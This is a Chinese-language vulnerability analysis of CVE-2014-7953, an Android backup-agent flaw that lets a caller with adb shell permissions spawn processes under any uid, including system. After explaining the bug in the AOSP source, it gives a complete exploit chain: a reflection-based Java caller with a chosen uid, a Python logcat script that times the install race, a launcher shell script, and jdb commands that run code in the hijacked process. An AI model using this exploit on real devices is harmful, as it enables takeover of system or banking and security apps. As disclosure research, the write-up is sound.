CVE-2014-7953是存在于android backup agent中的一個提權漏洞。ActivityManagerService中的bindBackupAgent方法未能校驗傳入的uid參數，結合另外一個race condition利用技巧，攻擊者可以以任意uid(應用)身份執行代碼，包括system(uid 1000)。本文對該漏洞進行了詳細分析，并給出了利用EXP。攻擊的前提條件是需要有android.permission.BACKUP和INSTALL_PACKAGES，而adb shell是一個滿足條件的attack surface。
BackupService是Android中提供的備份功能，在備份操作中，系統的BackupManager從目標應用獲取對方指定的備份數據，然后交給BackupTransport進行數據傳輸。在恢復備份操作中，BackupManager從Transport中拿回數據并傳遞給目標應用進行恢復。常見的場景是用戶應用的數據備份到Google Cloud，用戶在新手機上登錄Google賬號時數據就被自動恢復回去。
當然想使用備份功能的應用必須實現BackupAgent組件，繼承BackupAgent類或者BackupAgentHelper類，并在AndroidManifest.xml中聲明自己，還需要向一個BackupService注冊。
在BackupManager進行備份或恢復時，其會以目標應用BackupAgent為內容啟動目標應用進程，調用其onCreate函數，以方便其進行具體的應用邏輯相關的備份和恢復操作。
在上文的鋪墊之后，我們來看這個漏洞的成因。前面提到BackupAgent會在進行恢復時被調用，具體到ActivityManagerService中的bindBackupAgent函數：
#!java
// Cause the target app to be launched if necessary and its backup agent
12819 // instantiated. The backup agent will invoke backupAgentCreated() on the
12820 // activity manager to announce its creation.
12821 public boolean bindBackupAgent(ApplicationInfo app, int backupMode) {
12822 if (DEBUG_BACKUP) Slog.v(TAG, "bindBackupAgent: app=" + app + " mode=" + backupMode);
12823 enforceCallingPermission("android.permission.BACKUP", "bindBackupAgent");
12824
12825 synchronized(this) {
/*...*/
12833 // Backup agent is now in use, its package can't be stopped.
12834 try {
12835 AppGlobals.getPackageManager().setPackageStoppedState(
12836 app.packageName, false, UserHandle.getUserId(app.uid));
12837 } catch (RemoteException e) {
12838 } catch (IllegalArgumentException e) {
12839 Slog.w(TAG, "Failed trying to unstop package "
12840 + app.packageName + ": " + e);
12841 }
12842
12843 BackupRecord r = new BackupRecord(ss, app, backupMode);
12844 ComponentName hostingName = (backupMode == IApplicationThread.BACKUP_MODE_INCREMENTAL)
12845 ? new ComponentName(app.packageName, app.backupAgentName)
12846 : new ComponentName("android", "FullBackupAgent");
12847 // startProcessLocked() returns existing proc's record if it's already running
12848 ProcessRecord proc = startProcessLocked(app.processName, app,
12849 false, 0, "backup", hostingName, false, false, false);
12850 if (proc == null) {
12851 Slog.e(TAG, "Unable to start backup agent process " + r);
12852 return false;
12853 }
12854
12855 r.app = proc;
12856 mBackupTarget = r;
12857 mBackupAppName = app.packageName;
12858
12859 // Try not to kill the process during backup
12860 updateOomAdjLocked(proc);
12861
12862 // If the process is already attached, schedule the creation of the backup agent now.
12863 // If it is not yet live, this will be done when it attaches to the framework.
12864 if (proc.thread != null) {
12865 if (DEBUG_BACKUP) Slog.v(TAG, "Agent proc already running: " + proc);
12866 try {
12867 proc.thread.scheduleCreateBackupAgent(app,
12868 compatibilityInfoForPackageLocked(app), backupMode);
12869 } catch (RemoteException e) {
12870 // Will time out on the backup manager side
12871 }
12872 } else {
12873 if (DEBUG_BACKUP) Slog.v(TAG, "Agent proc not running, waiting for attach");
12874 }
12875 // Invariants: at this point, the target app process exists and the application
12876 // is either already running or in the process of coming up. mBackupTarget and
12877 // mBackupAppName describe the app, so that when it binds back to the AM we
12878 // know that it's scheduled for a backup-agent operation.
12879 }
12880
12881 return true;
12882 }
ActivityManagerService對外通過Binder暴露了這個接口，當然開頭就要求了調用者必須持有android.permission.BACKUP權限，而shell是持有這個權限的。bindBackupAgent最終會將傳入的攻擊者可控的ApplicationInfo傳遞給startProcessLocked，并最終通過scheduleCreateBackupAgent調用其onCreate函數。
而ApplicationInfo中的uid可以被任意指定，這是該漏洞的根本原因。
但是想要利用這個漏洞還會遇到幾個關鍵的問題，需要通過其他方法來繞過。
從代碼中可以看到，在startProcessLocked之前會先調用setPackageStoppedState，將可能正在運行的目標package置Stopped狀態。這要求binder調用的發起者持有CHANGE_COMPONENT_ENABLED_STATE權限，否則會拋出SecurityException，終止函數運行。很遺憾這是一個系統用戶才持有的權限，shell是沒有的，強行調用會拋如下異常：
但是可以觀察到的是，startPackageStoppedState在拋出IllegalArgumentException時會被catch住，打一個log并繼續執行，那么通過PackageManager安裝包時的race condition，或者說TOCTOU，可以打一個時間差。
一個猥瑣的步驟如下：
調用pm安裝包，在安裝過程中某個時刻調用bindBackupAgent。
startPackageStoppedState時，包并不存在，拋出IllegalArgumentException被catch住并繼續執行。
startProcessRecord時包卻已經安裝完成了，以攻擊者指定的ApplicationInfo啟動。
正常的情況下，當包存在時，會是如下時序：
包不存在時，會是如下時序。此時process可以被創建出來，但會立即死亡因為找不到load的代碼。極罕見的情況下可能會停留在FC對話框而可以利用。
TOCTOU利用時序圖如下：
這里面關鍵點是打好時間差，例如可以擴大classes.dex的體積，增加dexopt的時間。在N7上測試成功的POC是通過腳本監控logcat中Copying native libraries to，在此刻觸發bindBackupAgent調用，基本每次都能成功。
跟一下調用鏈：
#!java
public final void scheduleCreateBackupAgent(ApplicationInfo app,
658 CompatibilityInfo compatInfo, int backupMode) {
659 CreateBackupAgentData d = new CreateBackupAgentData();
660 d.appInfo = app;
661 d.compatInfo = compatInfo;
662 d.backupMode = backupMode;
663
664 sendMessage(H.CREATE_BACKUP_AGENT, d);
665 }
public void handleMessage(Message msg) {
//omit
case CREATE_BACKUP_AGENT:
1337 Trace.traceBegin(Trace.TRACE_TAG_ACTIVITY_MANAGER, "backupCreateAgent");
1338 handleCreateBackupAgent((CreateBackupAgentData)msg.obj);
1339 Trace.traceEnd(Trace.TRACE_TAG_ACTIVITY_MANAGER);
1340 break;
//omit
}
// Instantiate a BackupAgent and tell it that it's alive
2428 private void handleCreateBackupAgent(CreateBackupAgentData data) {
2429 if (DEBUG_BACKUP) Slog.v(TAG, "handleCreateBackupAgent: " + data);
2430
2431 // Sanity check the requested target package's uid against ours
2432 try {
2433 PackageInfo requestedPackage = getPackageManager().getPackageInfo(
2434 data.appInfo.packageName, 0, UserHandle.myUserId());
2435 if (requestedPackage.applicationInfo.uid != Process.myUid()) {
2436 Slog.w(TAG, "Asked to instantiate non-matching package "
2437 + data.appInfo.packageName);
2438 return;
2439 }
2440 } catch (RemoteException e) {
2441 Slog.e(TAG, "Can't reach package manager", e);
2442 return;
2443 }
//omit
2448 // instantiate the BackupAgent class named in the manifest
2449 LoadedApk packageInfo = getPackageInfoNoCheck(data.appInfo, data.compatInfo);
2450 String packageName = packageInfo.mPackageName;
//omit
2461
2462 BackupAgent agent = null;
2463 String classname = data.appInfo.backupAgentName;
2464
2465 // full backup operation but no app-supplied agent? use the default implementation
2466 if (classname == null && (data.backupMode == IApplicationThread.BACKUP_MODE_FULL
2467 || data.backupMode == IApplicationThread.BACKUP_MODE_RESTORE_FULL)) {
2468 classname = "android.app.backup.FullBackupAgent";
2469 }
2470
2471 try {
2472 IBinder binder = null;
2473 try {
2474 if (DEBUG_BACKUP) Slog.v(TAG, "Initializing agent class " + classname);
2475
2476 java.lang.ClassLoader cl = packageInfo.getClassLoader();
2477 agent = (BackupAgent) cl.loadClass(classname).newInstance();
2478
2479 // set up the agent's context
2480 ContextImpl context = ContextImpl.createAppContext(this, packageInfo);
2481 context.setOuterContext(agent);
2482 agent.attach(context);
2483
2484 agent.onCreate();
2485 binder = agent.onBind();
2486 mBackupAgents.put(packageName, agent);
2487 } catch (Exception e) {
2488 //omit
2496 }
//omit
2508 }
2509
該函數的作用是在Package中尋找定義的BackupAgent類，如果不存在則以android.app.backup.FullBackupAgent代替，并執行其onCreate函數。
如果控制了進程uid為system，在onCreate函數放置我們的代碼就萬事大吉了。但很遺憾開頭就有一個檢查，對比當前進程的uid(注意ActivityThread的代碼是在被啟動package的進程空間內執行的，所以Process.myUid即是目標package的uid)和PackageManager在安裝時記錄的uid，不符合則log并退出。這就砍掉了改onCreate利用的想法。
但天無絕人之路，jdwp come to rescure. 進程和VM已經起來了，安裝包的debuggable flag又是攻擊者可指定的，那么jdwp attach上去執行代碼，就柳暗花明又一村。
順利的話system身份進程已經啟動。
如果我們再去打開測試應用，會看到兩個不同uid的同package進程并存，如下圖：
這里會有兩種情況：
進程以system的uid啟動，但由于沒有實例化和調用onCreate，這個進程是個空殼。這是最常見的情況。
進程以system的uid啟動，出現一個Application Crash時的FC對話框。有意思的是某些罕見情況下直接訪問backupAgent接口就會觸發該對話框。
對于這兩種情況，attach上之后觸發的斷點也并不一樣。對于第一個來說，線程會block在nativePollOnce上，如下圖所示：
這種情況利用的一個關鍵因素是需要讓線程跳出nativePollOnce，也就是說需要讓其接收到一個消息，然后才能下斷點執行代碼, 但詭異之處就在于這時候起的進程是一個空殼，不存在GUI界面，常規的操作觸發和intent觸發都是沒有效果的，這豈不是強人所難？這里就需要一個任何ActivityThread都會接收到的非GUI事件非組件的事件消息并觸發它，才能跳出這個輪回。通過某種猥瑣的方式，是可以做到這點的，讀者可以思考下哪些可以達到這個目的。
第二種則會因為異常捕獲斷在handleApplicationCrash上，這種比較好處理，直接下斷點即可。
總之我們利用intellij或者jdb作為載體，通過jdwp即可以system權限或者以其他uid的身份執行代碼。
附效果截圖：
system:
當然我們也可以變幻成什么xx衛士啊，xx錢盾，xx付寶之類進程的uid，從而控制這些敏感應用。附xx衛士的截圖:
可以看到我們的應用已經和xx衛士是一個uid同床共枕了，接下來怎么發揮就看諸君想象力了。
#!java
public class Test {
public static void main(String []args)
{
test(Integer.parseInt(args[0]));
}
public static void test(Integer uid)
{
try {
Class ActivityManagerNative = Class.forName("android.app.ActivityManagerNative");
Method bindBackupAgent = ActivityManagerNative.getDeclaredMethod("getDefault");
Object iActivityManager = bindBackupAgent.invoke(null);
Method bindBackupAgentMtd = iActivityManager.getClass().getDeclaredMethod("bindBackupAgent", ApplicationInfo.class, int.class);
ApplicationInfo applicationInfo = new ApplicationInfo();
applicationInfo.dataDir = "/data/data/com.example.myapp";
applicationInfo.nativeLibraryDir = "/data/app-lib/com.example.myapp-1";
applicationInfo.processName = "com.example.myapp";
applicationInfo.publicSourceDir = "/data/app/com.example.myapp-1.apk";
applicationInfo.sourceDir = "/data/app/com.example.myapp-1.apk";
applicationInfo.taskAffinity = "com.example.myapp";
applicationInfo.packageName = "com.example.myapp";
applicationInfo.flags = 8961606;
applicationInfo.uid = uid;
bindBackupAgentMtd.invoke(iActivityManager, applicationInfo, 0);
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (NoSuchMethodException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
}
}
}
將其編譯為jar并通過app_process執行。注意在myapp沒有安裝時直接執行會造成后續INSTALL_FAILED_UID_CHANGED錯誤，具體原因可參照我之前寫的denial-of-app分析。
監控py腳本:
#!python
from subprocess import Popen, PIPE
import os
KW = "Copying native libraries to "
#KW = "dexopt"
os.system("adb logcat -c")
p = Popen(["adb", "logcat"], stdout=PIPE, bufsize=1)
with p.stdout:
for line in iter(p.stdout.readline, b''):
if line.find(KW) != -1:
print line
os.system("adb shell /data/local/tmp/test.sh 1000")
p.wait()
test.sh
#!bash
export ANDROID_DATA=/data/local/tmp/
export CLASSPATH=/data/local/tmp/MyTest.jar
app_process /data/local/tmp/ com.example.MyTest $@
jdb命令：
#!java
threads
thread 0xxxxxx
suspend
stop in android.os.MessageQueue next
run
print new java.lang.Runtime.exec("id")
Google對該漏洞的修復非常簡單，對bindBackupAgent接口校驗了FULL_BACKUP這個system級別的權限，砍掉了最初的入口。